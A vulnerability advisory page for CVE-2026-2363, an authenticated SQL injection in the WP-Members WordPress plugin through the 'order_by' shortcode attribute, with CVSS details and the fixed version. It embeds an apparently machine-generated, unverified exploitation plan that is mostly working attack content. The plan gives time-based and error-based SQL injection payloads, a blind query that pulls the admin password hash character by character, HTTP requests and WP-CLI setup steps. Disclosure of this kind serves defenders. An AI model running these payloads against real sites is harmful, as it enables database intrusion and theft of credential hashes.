CVE-2026-2363

WP-Members Membership Plugin <= 3.5.5.1 - Authenticated (Contributor+) SQL Injection via 'order_by' Shortcode Attribute

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
3.5.6
Patched in
1d
Time to patch

Description

The WP-Members Membership Plugin plugin for WordPress is vulnerable to SQL Injection via the 'order_by' attribute of the [wpmem_user_membership_posts] shortcode in all versions up to, and including, 3.5.5.1. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.5.5.1
PublishedMarch 3, 2026
Last updatedMarch 4, 2026
Affected pluginwp-members

What Changed in the Fix

Changes introduced in v3.5.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2363 (WP-Members SQL Injection) ## 1. Vulnerability Summary The **WP-Members Membership Plugin** (up to and including version 3.5.5.1) is vulnerable to an **authenticated SQL injection** via the `order_by` attribute of the `[wpmem_user_membership_posts]` short…

Show full research plan

Exploitation Research Plan: CVE-2026-2363 (WP-Members SQL Injection)

1. Vulnerability Summary

The WP-Members Membership Plugin (up to and including version 3.5.5.1) is vulnerable to an authenticated SQL injection via the order_by attribute of the [wpmem_user_membership_posts] shortcode. The plugin fails to properly sanitize or use parameterized queries ($wpdb->prepare) for this specific attribute. Since Contributors and above can create posts containing shortcodes, they can execute arbitrary SQL commands to extract sensitive data from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: Frontend post/page rendering where shortcodes are processed.
  • Shortcode: [wpmem_user_membership_posts]
  • Vulnerable Attribute: order_by
  • Authentication: Required (Contributor-level or higher).
  • Preconditions: The attacker must have the ability to create or edit a post/page (Contributor role is sufficient in default WordPress configurations).

3. Code Flow (Inferred)

  1. Entry Point: A user with Contributor privileges creates or previews a post containing: [wpmem_user_membership_posts order_by="PAYLOAD"].
  2. Shortcode Processing: WordPress calls do_shortcode(), which invokes the registered handler for wpmem_user_membership_posts (likely located in includes/class-wp-members-shortcodes.php or a similar file handling frontend display).
  3. Attribute Parsing: The handler uses shortcode_atts() to extract the order_by value.
  4. Query Construction: The plugin constructs a SQL query to list posts associated with the user's membership. The value of the order_by attribute is concatenated directly into the ORDER BY clause of a $wpdb query.
  5. SQL Injection Sink: The query is executed via $wpdb->get_results() or $wpdb->get_col() without passing the order_by component through $wpdb->prepare()'s protection (since ORDER BY clauses cannot be easily parameterized in MySQL).

4. Nonce Acquisition Strategy

This vulnerability does not require a nonce for exploitation.

  • Shortcodes are processed during the standard rendering of a post's content.
  • The authentication is provided by the user's session cookies (Contributor role).
  • The payload is executed when the post is viewed or previewed.

5. Exploitation Strategy

Step 1: Authentication

Log in as a Contributor user to obtain valid session cookies.

Step 2: Payload Construction

We will use a time-based blind SQL injection payload to verify the vulnerability.

  • Payload: ID, (SELECT SLEEP(5))
  • Shortcode: [wpmem_user_membership_posts order_by="ID, (SELECT SLEEP(5))"]

Step 3: Injection via Post Creation

Create a new post containing the shortcode.

HTTP Request (Create Post):

POST /wp-admin/post.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [CONTRIBUTOR_COOKIES]

post_ID=[ID]&action=edit&post_content=[wpmem_user_membership_posts order_by="ID, (SELECT SLEEP(5))"]&post_title=SQLi_Test&_wpnonce=[POST_NONCE]

(Note: Generating a post via WP-CLI is more efficient for the setup phase).

Step 4: Triggering the Injection

Navigate to the URL of the created post or use the "Preview" feature.

HTTP Request (Trigger):

GET /?p=[POST_ID] HTTP/1.1
Host: localhost:8080
Cookie: [CONTRIBUTOR_COOKIES]

Step 5: Data Extraction (Verification)

To extract the admin password hash:

  • Payload: (CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN ID ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)
  • Explanation: Checks if the first character of the admin hash is $ (ASCII 36). If false, it sleeps for 5 seconds.

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  2. Plugin Configuration: Ensure the plugin is active.
    wp plugin activate wp-members
    
  3. Content Creation: Create a post as the contributor.
    wp post create --post_type=post --post_status=publish --post_title="SQLi Test" --post_content='[wpmem_user_membership_posts order_by="ID, (SELECT SLEEP(5))"]' --post_author=$(wp user get attacker --field=ID)
    

7. Expected Results

  • The HTTP request to the post URL should take at least 5 seconds longer than a standard request.
  • The database engine executes: SELECT ... FROM ... ORDER BY ID, (SELECT SLEEP(5)).

8. Verification Steps

  1. Time-based check: Use the http_request tool to time the response for a "True" condition vs a "False" condition.
    • True (Sleep): order_by="ID, (SELECT SLEEP(5))"
    • False (No Sleep): order_by="ID"
  2. Database state: Check the wp_posts table via WP-CLI to confirm the shortcode was saved correctly.
    wp post get [POST_ID] --field=post_content
    

9. Alternative Approaches

If ORDER BY concatenation is strictly filtered, attempt injection via other shortcode attributes that might be used in the WHERE clause:

  • [wpmem_user_membership_posts tag="') OR 1=1-- -"] (Check if tag or category attributes are also vulnerable).
  • Error-based SQLi: If WP_DEBUG is on, use updatexml() or extractvalue() to leak data directly in the response:
    • order_by="(select updatexml(1,concat(0x7e,(user())),1))"

10. Potential Constraints

  • Plugin Settings: The shortcode [wpmem_user_membership_posts] may only return results if there is membership data or products configured. If the query returns 0 rows, the ORDER BY clause might not be evaluated in some MySQL versions.
  • Setup requirement: It may be necessary to create at least one "Product" or "Membership" in the WP-Members settings to ensure the post-retrieval logic is triggered.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.